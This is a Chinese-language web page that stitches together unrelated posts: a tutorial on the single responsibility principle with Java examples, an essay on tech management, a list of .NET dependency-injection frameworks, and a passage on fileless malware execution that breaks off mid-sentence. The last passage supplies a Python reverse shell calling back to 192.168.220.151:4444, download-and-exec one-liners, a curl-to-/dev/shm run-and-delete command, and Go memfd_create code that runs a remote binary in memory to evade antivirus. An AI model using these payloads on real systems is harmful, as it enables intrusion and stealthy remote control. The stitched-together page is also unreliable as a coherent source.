wenmo8 发布的文章

02.单一职责原则详解

目录介绍

  • 01.问题思考分析
  • 02.单一职责原则介绍
  • 03.如何理解单一指责
  • 04.用例子理解单一职责
  • 05.为何遵守单一原则
  • 06.方法层面单一职责
  • 07.接口层面单一职责
  • 08.类层面单一职责
  • 09.单一职责判断模糊
  • 10.单一职责判断原则
  • 11.最后总结一下
  • 12.更多内容推荐

推荐一个好玩网站

一个最纯粹的技术分享网站,打造精品技术编程专栏!
编程进阶网

https://yccoding.com/

设计模式Git项目地址:
https://github.com/yangchong211/YCDesignBlog

单一职责原则(SRP)是面向对象设计的重要原则,强调一个类或模块应仅负责完成一个特定的职责或功能。通过将复杂的功能分解为多个粒度小、功能单一的类,可以提高系统的灵活性、可维护性和可扩展性。

本文详细介绍了如何理解单一职责原则,包括方法、接口和类层面的应用,并通过具体例子解释了其优势和判断标准。此外,还探讨了在实际开发中如何平衡类的设计,避免过度拆分导致的复杂性增加。

01.问题思考分析

  1. 如何理解类的单一指责,单一指责中这个单一是如何评判的?
  2. 懂了,但是会用么,或者实际开发中有哪些运用,能否举例说明单一职责优势?
  3. 单一指责是否设计越单一,越好呢?说出你的缘由和论证的思路想法?
  4. 单一职责原则,除了应用到类的设计上,还能延伸到哪些其他设计方面吗?

02.单一职责原则介绍

单一责任原则(Single Responsibility Principle,SRP)是面向对象设计中的一条重要原则。

这个原则的英文描述是这样的:A class or module should have a single responsibility。

如果我们把它翻译成中文,那就是:
一个类或者模块只负责完成一个职责(或者功能)

也就是说,一个模块或类应该只负责一个特定的职责或功能,通过将功能分解到不同的模块或类中,可以使系统更加灵活、可维护和可扩展。

从字面上理解,不难。你一看就感觉懂了,一看就感觉掌握了,但真的用到项目中的时候,你会发现,“看懂”和“会用”是两回事,而“用好”更是难上加难。

从工作经历来看,很多同事因为对这些原则理解得不够透彻,导致在使用的时候过于教条主义,拿原则当真理,生搬硬套,适得其反。

03.如何理解单一指责

单一原则描述的对象包含两个,一个是类(class),一个是模块(module)。

关于这两个概念,在专栏中,有两种理解方式。一种理解是:把模块看作比类更加抽象的概念,类也可以看作模块。另一种理解是:把模块看作比类更加粗粒度的代码块,模块中包含多个类,多个类组成一个模块。

不管哪种理解方式,单一职责原则在应用到这两个描述对象的时候,道理都是相通的。为了方便你理解,接下来我只从“类”设计的角度,来讲解如何应用这个设计原则。对于“模块”来说,你可以自行引申。

04.用例子理解单一职责

单一职责原则的定义描述非常简单,也不难理解。
一个类只负责完成一个职责或者功能。也就是说,不要设计大而全的类,要设计粒度小、功能单一的类。换个角度来讲就是,一个类包含了两个或者两个以上业务不相干的功能,那我们就说它职责不够单一,应该将它拆分成多个功能更加单一、粒度更细的类

举一个例子来解释一下。比如,一个类里既包含订单的一些操作,又包含用户的一些操作。而订单和用户是两个独立的业务领域模型,我们将两个不相干的功能放到同一个类中,那就违反了单一职责原则。

为了满足单一职责原则,我们需要将这个类拆分成两个粒度更细、功能更加单一的两个类:订单类和用户类。

05.为何遵守单一原则

通常 ,我们做事情都要知道为什么要这么做,才回去做。做的也有底气,那么为什么我们要使用单一职责原则呢?

  1. 提高类的可维护性和可读写性。一个类的职责少了,复杂度降低了,代码就少了,可读性也就好了,可维护性自然就高了。
  2. 提高系统的可维护性。系统是由类组成的,每个类的可维护性高,相对来讲整个系统的可维护性就高。
  3. 降低变更的风险。一个类的职责越多,变更的可能性就越大,变更带来的风险也就越大

06.方法层面单一职责

现在有一个场景,需要修改用户的用户名和密码,就针对这个功能我们可以有多种实现。

先看一下第一种实现方式:

public enum OperateEnum {
    UPDATE_USERNAME,
    UPDATE_PASSWORD;
}

public interface UserOperate {
    void updateUserInfo(OperateEnum type,UserInfo userInfo);
}

public class UserOperateImpl implements UserOperate{
    @Override
    public void updateUserInfo(OperateEnum type,UserInfo userInfo) {
        if (type == OperateEnum。UPDATE_PASSWORD) {
            // 修改密码
        } else if(type == OperateEnum。UPDATE_USERNAME) {
            // 修改用户名
        }
    }
}

然后看一下第二种实现方式:

public interface UserOperate {

    void updateUserName(UserInfo userInfo);

    void updateUserPassword(UserInfo userInfo);
}

public class UserOperateImpl implements UserOperate {
    @Override
    public void updateUserName(UserInfo userInfo) {
        // 修改用户名逻辑
    }

    @Override
    public void updateUserPassword(UserInfo userInfo) {
        // 修改密码逻辑
    }
}

来看看这两种实现的区别:

  1. 第一种实现是根据操作类型进行区分,不同类型执行不同的逻辑。把修改用户名和修改密码这两件事耦合在一起了。如果客户端在操作的时候传错了类型,那么就会发生错误。
  2. 第二种实现是我们推荐的实现方式。修改用户名和修改密码逻辑分开,各自执行各自的职责,互不干扰,功能清晰明了。

由此可见,第二种设计是符合单一职责原则的。这是在方法层面实现单一职责原则。

07.接口层面单一职责

我们假设一个场景,大家一起做家务,张三扫地,李四买菜。李四买完菜回来还得做饭。这个逻辑怎么实现呢?

先看一下第一种实现方式:

/**
 * 做家务
 */
public interface HouseWork {
    // 扫地
    void sweepFloor();

    // 购物
    void shopping();
}

public class Zhangsan implements HouseWork{
    @Override
    public void sweepFloor() {
        // 扫地
    }

    @Override
    public void shopping() {

    }
}

public class Lisi implements HouseWork{
    @Override
    public void sweepFloor() {

    }

    @Override
    public void shopping() {
        // 购物
    }
}

首先定义了一个做家务的接口,定义两个方法扫地和买菜。张三扫地,就实现扫地接口。李四买菜,就实现买菜接口。然后李四买完菜回来还要做饭,于是就要在接口类中增加一个方法cooking。张三和李四都重写这个方法,但只有李四有具体实现。

这样设计本身就是不合理的。首先: 张三只扫地,但是他需要重写买菜方法,李四不需要扫地,但是李四也要重写扫地方法。第二: 这也不符合开闭原则。增加一种类型做饭,要修改3个类。这样当逻辑很复杂的时候,很容易引起意外错误。

上面这种设计不符合单一职责原则,修改一个地方,影响了其他不需要修改的地方。

然后看一下第二种实现方式:

/**
 * 做家务
 */
public interface Hoursework {

}

public interface Shopping extends Hoursework{
    // 购物
    void shopping();
}

public interface SweepFloor extends Hoursework{
    // 扫地
    void sweepFlooring();
}

public class Zhangsan implements SweepFloor{

    @Override
    public void sweepFlooring() {
        // 张三扫地
    }
}

public class Lisi implements Shopping{
    @Override
    public void shopping() {
        // 李四购物
    }
}

上面做家务不是定义成一个接口,而是将扫地和做家务分开了。张三扫地,那么张三就实现扫地的接口。 李四购物,李四就实现购物的接口。 后面李四要增加一个功能做饭。 那么就新增一个做饭接口,这次只需要李四实现做饭接口就可以了。

public interface Cooking extends Hoursework{ 
    void cooking();
}

public class Lisi implements Shopping, Cooking{
    @Override
    public void shopping() {
        // 李四购物
    }

    @Override
    public void cooking() {
        // 李四做饭
    }
}

如上, 我们看到张三没有实现多余的接口, 李四也没有. 而且当新增功能的时候, 只影响了李四, 并没有影响张三.

这就是符合单一职责原则. 一个类只做一件事. 并且他的修改不会带来其他的变化.

08.类层面单一职责

从类的层面来讲, 没有办法完全按照单一职责原来来拆分. 换种说法, 类的职责可大可小, 不想接口那样可以很明确的按照单一职责原则拆分. 只要符合逻辑有道理即可.

比如, 我们在网站首页可以注册, 登录, 微信登录.注册登录等操作. 我们通常的做法是:

public interface UserOperate {

    void login(UserInfo userInfo);

    void register(UserInfo userInfo);

    void logout(UserInfo userInfo);
}


public class UserOperateImpl implements UserOperate{
    @Override
    public void login(UserInfo userInfo) {
        // 用户登录
    }

    @Override
    public void register(UserInfo userInfo) {
        // 用户注册
    }

    @Override
    public void logout(UserInfo userInfo) {
        // 用户登出
    }
}

那如果按照单一职责原则拆分, 也可以拆分为下面的形式

public interface Register {
    void register();
}

public interface Login {
    void login();
}

public interface Logout {
    void logout();
}


public class RegisterImpl implements Register{

    @Override
    public void register() {

    }
}

public class LoginImpl implements Login{
    @Override
    public void login() {
        // 用户登录
    }
}

public class LogoutImpl implements Logout{

    @Override
    public void logout() {

    }
}

09.单一职责判断模糊

在真实的软件开发中,对于一个类是否职责单一的判定,是很难拿捏的。我举一个更加贴近实际的例子来给你解释一下。

在一个社交产品中,我们用下面的 UserInfo 类来记录用户的信息。你觉得,UserInfo 类的设计是否满足单一职责原则呢?

public class UserInfo {
  private long userId;
  private String username;
  private String email;
  private String telephone;
  private long createTime;
  private long lastLoginTime;
  private String avatarUrl;
  private String provinceOfAddress; // 省
  private String cityOfAddress; // 市
  private String regionOfAddress; // 区 
  private String detailedAddress; // 详细地址
  // 。。。省略其他属性和方法。。。
}

对于这个问题,有两种不同的观点。

  1. 一种观点是,UserInfo 类包含的都是跟用户相关的信息,所有的属性和方法都隶属于用户这样一个业务模型,满足单一职责原则;
  2. 另一种观点是,地址信息在 UserInfo 类中,所占的比重比较高,可以继续拆分成独立的 UserAddress 类,UserInfo 只保留除 Address 之外的其他信息,拆分之后的两个类的职责更加单一。

哪种观点更对呢?实际上,要从中做出选择,我们不能脱离具体的应用场景。

  1. 如果在这个社交产品中,用户的地址信息跟其他信息一样,只是单纯地用来展示,那 UserInfo 现在的设计就是合理的。
  2. 如果这个社交产品发展得比较好,之后又在产品中添加了电商的模块,用户的地址信息还会用在电商物流中,那我们最好将地址信息从 UserInfo 中拆分出来,独立成用户物流信息(或者叫地址信息、收货信息等)。

从刚刚这个例子,我们可以总结出,不同的应用场景、不同阶段的需求背景下,对同一个类的职责是否单一的判定,可能都是不一样的。在某种应用场景或者当下的需求背景下,一个类的设计可能已经满足单一职责原则了,但如果换个应用场景或着在未来的某个需求背景下,可能就不满足了,需要继续拆分成粒度更细的类。

有时候一个类的职责是否足够单一,我们并没有一个非常明确的、可以量化的标准,可以说,这是件非常主观、仁者见仁智者见智的事情。

10.单一职责判断原则

可能会说,这个原则如此含糊不清、模棱两可,到底该如何拿捏才好啊?我这里还有一些小技巧,能够很好地帮你,从侧面上判定一个类的职责是否够单一。下面这几条判断原则,比起很主观地去思考类是否职责单一,要更有指导意义、更具有可执行性:

  1. 类中的代码行数、函数或属性过多,会影响代码的可读性和可维护性,我们就需要考虑对类进行拆分;
  2. 类依赖的其他类过多,或者依赖类的其他类过多,不符合高内聚、低耦合的设计思想,我们就需要考虑对类进行拆分;
  3. 私有方法过多,我们就要考虑能否将私有方法独立到新的类中,设置为 public 方法,供更多的类使用,从而提高代码的复用性;
  4. 比较难给类起一个合适名字,很难用一个业务名词概括,或者只能用一些笼统的 Manager、Context 之类的词语来命名,这就说明类的职责定义得可能不够清晰;
  5. 类中大量的方法都是集中操作类中的某几个属性,比如,在 UserInfo 例子中,如果一半的方法都是在操作 address 信息,那就可以考虑将这几个属性和对应的方法拆分出来。

11.最后总结一下

如何理解单一职责原则(SRP)

一个类只负责完成一个职责或者功能。不要设计大而全的类,要设计粒度小、功能单一的类。单一职责原则是为了实现代码高内聚、低耦合,提高代码的复用性、可读性、可维护性。

如何判断类的职责是否足够单一

  1. 不同的应用场景、不同阶段的需求背景、不同的业务层面,对同一个类的职责是否单一,可能会有不同的判定结果。实际上,一些侧面的判断指标更具有指导意义和可执行性,比如,出现下面这些情况就有可能说明这类的设计不满足单一职责原则:
  2. 类中的代码行数、函数或者属性过多;
  3. 类依赖的其他类过多,或者依赖类的其他类过多;
  4. 私有方法过多;
  5. 比较难给类起一个合适的名字;
  6. 类中大量的方法都是集中操作类中的某几个属性。

类的职责是否设计得越单一越好?

单一职责原则通过避免设计大而全的类,避免将不相关的功能耦合在一起,来提高类的内聚性。同时,类职责单一,类依赖的和被依赖的其他类也会变少,减少了代码的耦合性,以此来实现代码的高内聚、低耦合。

但是,如果拆分得过细,实际上会适得其反,反倒会降低内聚性,也会影响代码的可维护性。

12.更多内容推荐

模块 描述 备注
GitHub 多个YC系列开源项目,包含Android组件库,以及多个案例 GitHub
博客汇总 汇聚Java,Android,C/C++,网络协议,算法,编程总结等 YCBlogs
设计模式 六大设计原则,23种设计模式,设计模式案例,面向对象思想 设计模式
Java进阶 数据设计和原理,面向对象核心思想,IO,异常,线程和并发,JVM Java高级
网络协议 网络实际案例,网络原理和分层,Https,网络请求,故障排查 网络协议
计算机原理 计算机组成结构,框架,存储器,CPU设计,内存设计,指令编程原理,异常处理机制,IO操作和原理 计算机基础
学习C编程 C语言入门级别系统全面的学习教程,学习三到四个综合案例 C编程
C++编程 C++语言入门级别系统全面的教学教程,并发编程,核心原理 C++编程
算法实践 专栏,数组,链表,栈,队列,树,哈希,递归,查找,排序等 Leetcode
Android 基础入门,开源库解读,性能优化,Framework,方案设计 Android

23种设计模式

23种设计模式 & 描述 & 核心作用 包括
创建型模式
提供创建对象用例。能够将软件模块中对象的创建和对象的使用分离
工厂模式(Factory Pattern)
抽象工厂模式(Abstract Factory Pattern)
单例模式(Singleton Pattern)
建造者模式(Builder Pattern)
原型模式(Prototype Pattern)
结构型模式
关注类和对象的组合。描述如何
将类或者对象结合在一起形成更大的结构
适配器模式(Adapter Pattern)
桥接模式(Bridge Pattern)
过滤器模式(Filter、Criteria Pattern)
组合模式(Composite Pattern)
装饰器模式(Decorator Pattern)
外观模式(Facade Pattern)
享元模式(Flyweight Pattern)
代理模式(Proxy Pattern)
行为型模式
特别关注对象之间的通信。主要解决的就是“类或对象之间的交互”问题
责任链模式(Chain of Responsibility Pattern)
命令模式(Command Pattern)
解释器模式(Interpreter Pattern)
迭代器模式(Iterator Pattern)
中介者模式(Mediator Pattern)
备忘录模式(Memento Pattern)
观察者模式(Observer Pattern)
状态模式(State Pattern)
空对象模式(Null Object Pattern)
策略模式(Strategy Pattern)
模板模式(Template Pattern)
访问者模式(Visitor Pattern)

做技术经理也有较长一段时间了,现在总结下技术Team Leader负责的事情以及如何做好技术经理这个角色。技术经理不是一个神秘的角色,也不是一个看重权力的角色,只是职责不同而已。

技术经理有三个角色,下属、管理者、技术工程师,我的理解是“三位一体”。我们先列下各角色主要职责

作为领导的下属,保持与上级顺畅沟通,是保障你团队权益以及你领导力的必要途径:

  1. 与直接主管同步好公司战略方向、期望

  2. 向主管阶段性反馈进展以及风险,必要时询求帮助

作为团队管理者,跟进好项目及任务进展,培养好团队是主要工作:

  1. 带团队做好项目


    • 将主管分配下来的OKR以及项目,拆分任务给组员,评估好技术方案以及风险
    • 跟进项目/任务的进度以及风险,对进度延迟的及时调整人力,思考当前技术方案是否有更优方案
  2. 培养团队提升团队作战能力。有技术能力、有团队效率,我的想法是整个公司是个大轮子,团队是个小轮子,转的不够快会影响整体效率,如果转的够快甚至能推动其它部门的效率以及产品整体进度。


    • 识别人才,技术能力、架构能力、成长潜力,组员其它的一些软件技能,比如沟通能力、做事积极性、格局思维等也很重要
    • 选对人才做相应的事,人才有九宫格的概念,人不可能完美,人才能做好某个范围内的事就可以了。
    • 有意识的培养人才,尤其是团队职级梯队,要有高中低职级,不同年龄以及不同职级,这样能形成人员的良性自发成长。另外团队整体素养,要以技术去驱动他们的热情,普及团队技术栈的知识点,提升整个团队的技术专业能力很重要。
    • 选取团队的核心人才,作为你部分全局性工作的延伸。比如团队架构师、项目定制经理等,有意识的分出部分团队事务让他们承担,这样能培养后续接班人、后续能快速扩充团队。同时提升他们的全局意识,为团队考虑更多风险。

作为技术开发,承担的是技术攻坚以及架构师方面工作:

  1. 能够及时识别项目技术方案的问题以及更优方案

  2. 能够承担产品后续技术维护以及需求拓展,提前设计架构规避风险,提前预计相关技术。比如设计一个高性能的启动项框架,用来梳理项目的启动业务混乱。比如提前考虑后续业务很大可能的需求,提前确认可行性以及形成部分技术组件

  3. 站在团队以及公司的角度,思考团队的开发效率。比如构建团队技术栈的通用组件库,提升代码可复用性、问题定位效率。

  4. 引领团队技术创新,作为团队的技术领头羊,你的技术能力基本上会决定是团队成员的技术上限。技术能力强,团队组员也会更信服你,技术经理所谓的人格魅力脱离不开技术能力。

上面是我列的主要职责和内容,按我经验和理解来的哈,可能不全面。技术经理是有多个角色的,全局性思维考虑项目、技术的更多风险以及可能。下面多扯些我自己对技术经理的其它理解

做技术经理,是需要有点脾气的。不能和稀泥,要有底线,和和气气那种的领导,最后擦屁股的事情会一大堆。当然有脾气指的是任务目标不达标、组员们其实也期望规则条理清晰,哪些行为是错误的、哪些习惯是提倡的,不要最后打绩效时再来挑毛病。我看到公司有些主管全程开启放养模式,不讲明开发规范、团队框架流程,出问题就找茬。所以团队内应该明确任务目标、明确行事规则,至少不会让组员平时工作迷茫。

做技术经理,要有决策力,这是根据你以往经验、你的技术知识域来快速归纳结果,选一个最适合当前团队、当前项目、公司情况的解决方案。就比如架构/框架选型,如果是小团队、项目前期,我们应该选择一个合适、简单、后续可演进的方案,比那些华丽、复杂、一步到位的架构方案,更适合当前情况。懂得权衡取舍很重要,事情不可能完美,可以选一个目前最适合、优先级最高的方案

做技术经理,要深入技术开发过程,要能帮助组员解决问题,不管是自己去解决跟进棘手的疑难杂症,还是帮组员思考业务是否有更好的技术实现方案。一些技术方向,比如.NET跨平台,迁移.NET8这都是需要去确认的部分

对技术经理,我理解是为大家服务的。向上服务好公司,把控好项目风险、提前考虑项目以及公司后续发展的软件扩展,包括技术提前预研、架构提前设计,提高开发效率、减少团队运营维护成本等。向下服务好小伙伴们,协助他们处理技术问题,协调人力帮他们提升某个功能送测进度,统一团队开发规范比如代码风格、代码注释、接口设计原则,提升代码可读性、可维护性。我相信,相比屎山一样的项目代码,组员更愿意在一个易维护、易学习的项目里贡献自己的力量。

做技术经理,不同人带团队有不同的风格,我比较倾向于技术型。个人理解是,只有了解具体技术实现才能帮助团队去思考风险、更优方案、后续演进路径,不了解技术的管理能管理啥呢,单纯团队进度跟进的话筒 还是 分任务的机器人?沉入业务流程以及技术原理,才能帮助到产品、团队小伙伴。当然,具体的实现细节,没有风险就没必要去确认了。沉入技术有一个问题,平时技术经理已经很忙了,可能白天忙于各种部门会议、需求评审、客户问题沟通、版本送测跟进,精力有限无法去了解技术。那这个问题,我的建议是把一些全局事务分出来,让几个能力强、全局性思维不错的核心开发帮你承担下,这样能培养他的全局性思考,算是培养你的接班人了,后续你走人或者团队扩招了,他顶上来就能撑起团队。比如产品有定制项目吧,外部项目很多的话可以让一个组员统一支撑,定制项目版本管理、通用代码复用,里面的风险、效率有他帮你一起想,这个模块能做到的更好,另外他是具体细节执行人,可能他比你想的更完善。全局性人才的培养,也能帮助团队考虑更多边界性的风险,这是双赢。当然前提是小伙伴他愿意接哈

做技术经理,也要学会培养人才。能力强、潜力高的,尽量分配有点难度的任务,和他们沟通规划好后续成长路线。当前能力弱或者某方面能力不足的,不要给组员下定义,可以给出客观建议、多观察一段时间,人不是一开始就完美的、都需要有个成长的过程。绩效不能一言堂,多参考团队内其它核心开发以及负责部分全局性工作同学的意见,综合给出比较客观的绩效评分。当然每个公司绩效评分制度都不一样,不可能有完美方案的。比如我前东家CVTE,一个组内大家互评,容易思维惯性形成绩效固定阶梯、平时的高情商沟通等可以增加形象分等,当然如果团队氛围好可能问题不大,有意识的去尽量减少这类无效评分。我们讲回培养人才,比如Windows应用团队做.NET/WPF,我们需要梳理团队技术栈,完整的技术栈+技术培训、分享,能提高整个团队的素养和战斗能力,团队内建议以技术学习成长、分享为主要氛围。

做技术经理,掌握更多知识储备很重要。上面说了决策力需要经验去支撑,上级过来问某个功能是否具体可行性、客户突然提了某个需求,比较紧急的时候是没办法去研究技术细节的,所以我们需要有准备。个人大脑需要提前去了解当前行业的业务方向各类知识,比如我所在大屏行业,可以去了解大屏产品各个外设、行业壁垒、产品硬件功能矩阵、竞品软件生态以及具有竞争力的核心功能、公司战略3年内的规划以及技术可能需要支撑的扩展等等。另一个是技术积累,我们做应用开发需要解耦,为了复用为了高效维护会抽取很多公共组件、业务组件,那么除了当前业务也可以考虑后续发展需要,提前布局技术预研,不需要功能交互落地我们只做技术实现部分,写一些demo把它的可行性确认好,技术实现部分形成组件,需要了解组件设计概念可以看
组件/框架设计原则 - 唐宋元明清2188 - 博客园
。有技术组件打底,后续业务功能过来,我们不用回复需要几天时间确认,我们应该肯定的给予需求开发时间。当然提前预研技术组件得掌握个度,和架构设计是一个道理,提前预研是为了解决我们能预见公司几年内业务发展场景的效率,那只需要考虑那些我们可预见的就行了,不必过度考虑。

做技术经理,管理人数不能太多,我的建议是10个左右。20个的话你关注不过来,团队组员技术能力肯定是层次不齐的,不要太期望他们能做的很完美,需要有人去帮助他们评审技术方案、协调人去支撑他们的业务进度。有些同学技术能力强不擅长沟通我觉得问题不大,我们来帮他协调就行了。我遇到过小伙伴在他的错误路线上搞了很长一段时间,反复修改技术方案,这是他没有提前想好设计,也有技术经理未及时参与进去评估技术方案的问题。还有的小伙伴以测试反馈问题为路线,不同的测试对同一个功能实现提了不同问题,技术方案改了一版又一版,技术经理关注不到位也有他的锅。总之,人数我不建议太多,团队效率会降低、产品风险会提高。现在的AI已经很厉害了,一些难的或者路径深的比较难找,简单、通用的技术在AI上搜索速度比goole快多了,更不用说那个广告一堆的百度。说到AIGC,我也不建议依赖它,目前AIGI能做到的只是简单的搜索,可能还会有胡扯,需要我们有扎实的技术基础去筛选、归纳,我觉得后面很长一段时间我们要聚集如何去融汇贯通、对比选型,更多技术知识点、更多技术方案在信息爆炸的时代我们需要自己去判断。AIGC并不能替代开发,我们有情感、道德观、是非观、家国情怀,懂得取舍能把产品做的更好,如果AI后续也有感情、道德。。。当我没说,那时可能已经没有人类。。。emmm,扯远了

技术经理,按我开头说的,没有权力的概念,与其它岗位只有职责区别。就像我现在的上级,作为部门负责人,他除了关注产品的整个链路、如何把产品做好,有时间还会和我们一起跟进、研究代码实现,最近一个定制项目反馈启动黑屏、花屏,他就在协助梳理点屏板模块流程,问题可能出在哪、还有哪些尝试方向,看起来比我更累。可能只有国企那类公司里,主管才看重权力吧。。。

还有其它的,比如沟通,如何与其它部门建立良好沟通,需要协助或者被协助,如何换位思考、借势引导等,这里有很多学习的地方。

总之,按我的经验,我的建议是如果你如履薄冰般的一直去思考你还能做啥,技术经理这个角色做的应该会比较好,毕竟不可能一开始就能掌握所有的不可变,而是根据最新情况及时调整、优化你的团队管理方案。

可能总结不太完善,我是想到什么就写什么。可能有很多不足,但这也是我分享的目的,open后大家也能给我提点建议,哈哈。另外大家觉得技术经理应该如何做好,以及对你现在主管有啥问题可以在评论里聊聊

盘点5个常用的依赖注入框架,特别是前面2个。

1、Microsoft.Extensions.DependencyInjection

这是.Net Core框架本身内置集成的,我们只需引入Microsoft.Extensions.DependencyInjection,就可以直接使用。

using DependencyInjectionSample.Interfaces;
using DependencyInjectionSample.Services;

var builder = WebApplication.CreateBuilder();

builder.Services.AddRazorPages();

builder.Services.AddScoped<IMyDependency, MyDependency>();

var app = builder.Build();

2、AutoFac

https://github.com/autofac/Autofac

Star:
4.4K

一个高级的依赖注入(DI)框架,用于.NET应用程序。它允许开发者以一种类型安全、声明式的方式编写代码,从而实现控制反转(IoC)。Autofac旨在提供强大的功能,同时保持易用性和灵活性。

var builder = WebApplication.CreateBuilder();

// 注册组件
builder.RegisterType<MyService>().As<IMyService>();
builder.RegisterType<AnotherService>().As<IAnotherService>().InstancePerLifetimeScope();

// 构建容器
var app= builder.Build();

// 解析服务
var myService = app.Resolve<IMyService>();

3、Ninject

https://github.com/ninject/Ninject

Star:
2.7K

一个为 .NET 应用程序设计的闪电般快速、超轻量级的依赖注入器。它帮助你将应用程序分割成一系列松耦合、高内聚的组件,然后以灵活的方式将它们重新组合在一起。通过使用 Ninject 来支持你的软件架构,你的代码将变得更容易编写、重用、测试和修改。

public class WarriorModule : NinjectModule
{
    public override void Load() 
    {
        this.Bind<IWeapon>().To<Sword>();
    }
}

4、SimpleInjector

https://github.com/simpleinjector/SimpleInjector

Star:
1.2K

一个为.NET开发者设计的高效、灵活且用户友好的依赖注入库,它不仅简化了复杂的API,提供了精选的功能集,还通过其独特的装饰器注册和容器验证功能,帮助开发者遵循最佳实践,轻松构建可维护的应用程序,成为区分于其他DI容器的首选。

// 1. 创建容器
var container = new Container();

// 2. 配置容器(注册服务)
container.Register<IUserRepository, SqlUserRepository>(Lifestyle.Transient);
container.Register<ILogger, MailLogger>(Lifestyle.Singleton);   
container.Register<UserController>();

// 3. 验证容器配置:
container.Verify();

// 4. 注册容器为MVC的依赖解析器
DependencyResolver.SetResolver(new SimpleInjectorDependencyResolver(container));

5、Windsor

https://github.com/castleproject/Windsor

Star:
1.5K

一个功能丰富、成熟稳定的控制反转(IoC)容器框架,专为 .NET 平台设计,旨在简化依赖注入并支持高度可配置的组件管理。

// 创建容器
var container = new WindsorContainer();

// 添加和配置组件
container.Install(FromAssembly.This());

// 解析并配置根组件及其所有依赖项
var king = container.Resolve<IKing>();
king.RuleTheCastle();

// 清理容器,应用程序退出
container.Dispose();

- End -

更多开源项目:
https://github.com/bianchenglequ/NetCodeTop

声明:本文主要用作技术分享,所有内容仅供参考。任何使用或依赖于本文信息所造成的法律后果均与本人无关。请读者自行判断风险,并遵循相关法律法规。

@

python 等脚本语言

通过将powercat 无文件落地思路进行扩展,可以考虑到通过加载器以及payload等恶意代码执行文件,也可以使用无文件落地的方式对静态杀毒进行规避。

由于大多数Linux系统中都默认安装了 python ,且python作为一种脚本型语言,可以直接使用命令行代码执行操作,与powershell 有极大的相似之处,因此,使用python进行无文件落地思路是相同的。

示例

首先准备一个恶意的python脚本放置在远端的服务器,用于文件下载

import socket
import subprocess

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.220.151', 4444))

while True:
    command = s.recv(1024).decode('utf-8')
    if command.lower() == 'exit':
        break
    output = subprocess.run(command, shell=True, capture_output=True)
    s.send(output.stdout + output.stderr)

s.close()

然后,使用python进行文件下载并执行,达到无文件落地的效果

import urllib.request
import subprocess

# 下载恶意 Python 脚本
url = 'http://192.168.220.151/payload.py'
response = urllib.request.urlopen(url)
code = response.read().decode('utf-8')

# 执行下载的脚本
exec(code)

但是,上述代码是脚本形式,要做到无文件落地执行,就需要完全在命令行执行代码。
python中可以使用 python自带的控制端,按照上述代码逐句执行。

import urllib.request
response = urllib.request.urlopen('http://192.168.220.151/payload.py')
code = response.read().decode('utf-8')
exec(code)

也可以直接使用
python -c
来执行单行代码

import urllib.request; exec(urllib.request.urlopen('http://192.168.220.151/payload.py').read().decode('utf-8'))

python3 -c "import urllib.request; exec(urllib.request.urlopen('http://192.168.220.151/payload.py').read().decode('utf-8'))"

演示

对payload所在目录开启web服务,用于下载恶意文件

攻击端开启监听

被控端操作,下载并执行恶意代码,实现无文件落地

攻击端成功接收

来到被控端,并未发现payload,成功实现无文件落地

golang 等静态编译型语言

由于golang、C、C++ 等静态编译语言的特性,无论如何规避,都需要有文件在系统种进行执行才可以,但并不是说无法做到完全无文件落地。

内存文件系统

  • 完全在内存中执行

    /dev/shm
    使用的是内存文件系统(
    tmpfs
    ),文件存储在内存中,确保不会写入磁盘。
  • 快速执行
    :内存中的文件访问速度比磁盘文件快得多,因此可以提高执行效率。
  • 通过将文件写入
    /dev/shm
    并从该目录下执行,文件完全存储在内存中,确保不会有文件写入磁盘,因此可以达到
    完全无文件落地
    的效果。
  • 如果你希望确保完全避免文件留下,可以将执行完成后清理
    /dev/shm
    目录下的文件,这样可以进一步增强安全性。

因此,对于编译型语言的二进制可执行文件的无文件落地,可以使用
/dev/shm
目录,例如:

curl -s http://192.168.220.151/helloNum -o /dev/shm/helloNum && chmod +x /dev/shm/helloNum && /dev/shm/helloNum && rm /dev/shm/helloNum

这样会将文件下载到
/dev/shm/
目录下,直接存储在内存中执行,并且在执行完毕后删除文件。

但这样也会产生一个问题
,如果操作不当或者因不知名原因等导致恶意程序执行突然中断,那么就无法执行文件删除操作,因此,建议在恶意文件中加入
保险程序

也就是说,一旦程序终止,自动执行自删除操作,
这里提供一种思路

如果将自删除程序写入恶意文件,那么如果恶意程序被主动结束,就无法正常执行后续操作,因此,可以在恶意程序执行时,首先写入一个文件到内存系统中,文件中可以有一些无意义操作用来避免安全检测,然后通过该文件实时监控恶意程序的执行状态。

memfd_create 使用

memfd_create
是 Linux 内核提供的系统调用,可以创建匿名文件,仅存在于内存中。这需要编写一些 C 代码或者使用支持该功能的高级语言。

以下是一个示例:

package main

import (
	"fmt"
	"io"
	"net/http"
	"os"
	"golang.org/x/sys/unix"
	"syscall"
)

func main() {
	// 创建匿名内存文件
	fd, err := unix.MemfdCreate("helloNum", unix.MFD_CLOEXEC)
	if err != nil {
		panic(err)
	}

	// 将文件描述符包装为 os.File
	memFile := os.NewFile(uintptr(fd), "helloNum")
	defer memFile.Close()

	// 下载二进制文件到内存文件
	resp, err := http.Get("http://192.168.220.151/helloNum")
	if err != nil {
		panic(err)
	}
	defer resp.Body.Close()

	_, err = io.Copy(memFile, resp.Body)
	if err != nil {
		panic(err)
	}

	// 将文件描述符重置到开始位置
	_, err = memFile.Seek(0, 0)
	if err != nil {
		panic(err)
	}

	// 使用 syscall.Exec 执行内存中的二进制文件
	err = syscall.Exec("/proc/self/fd/"+fmt.Sprint(memFile.Fd()), []string{}, os.Environ())
	if err != nil {
		panic(err)
	}
}
  1. unix.MemfdCreate("helloNum", unix.MFD_CLOEXEC)
    :创建一个匿名的内存文件(也称为内存后备文件),这个文件存在于内存中,不会占用磁盘空间。
    MFD_CLOEXEC
    标志意味着在执行
    exec
    系列函数时,这个文件描述符会自动关闭。
  2. os.NewFile(uintptr(fd), "helloNum")
    :将创建的内存文件描述符
    fd
    转换为
    os.File
    对象,这样可以使用标准库中的文件操作方法。
  3. http.Get("http://192.168.220.151/helloNum")
    :从指定的 URL 下载文件。
  4. io.Copy(memFile, resp.Body)
    :将 HTTP 响应体中的数据复制到内存文件中。
  5. memFile.Seek(0, 0)
    :将内存文件的读写指针移动到文件的开始位置。
  6. syscall.Exec("/proc/self/fd/"+fmt.Sprint(memFile.Fd()), []string{}, os.Environ())
    :这是代码中的关键部分。
    syscall.Exec
    函数用于替换当前进程的映像为新的程序。这里它尝试使用内存文件的文件描述符来执行内存中的二进制文件。
    • /proc/self/fd/
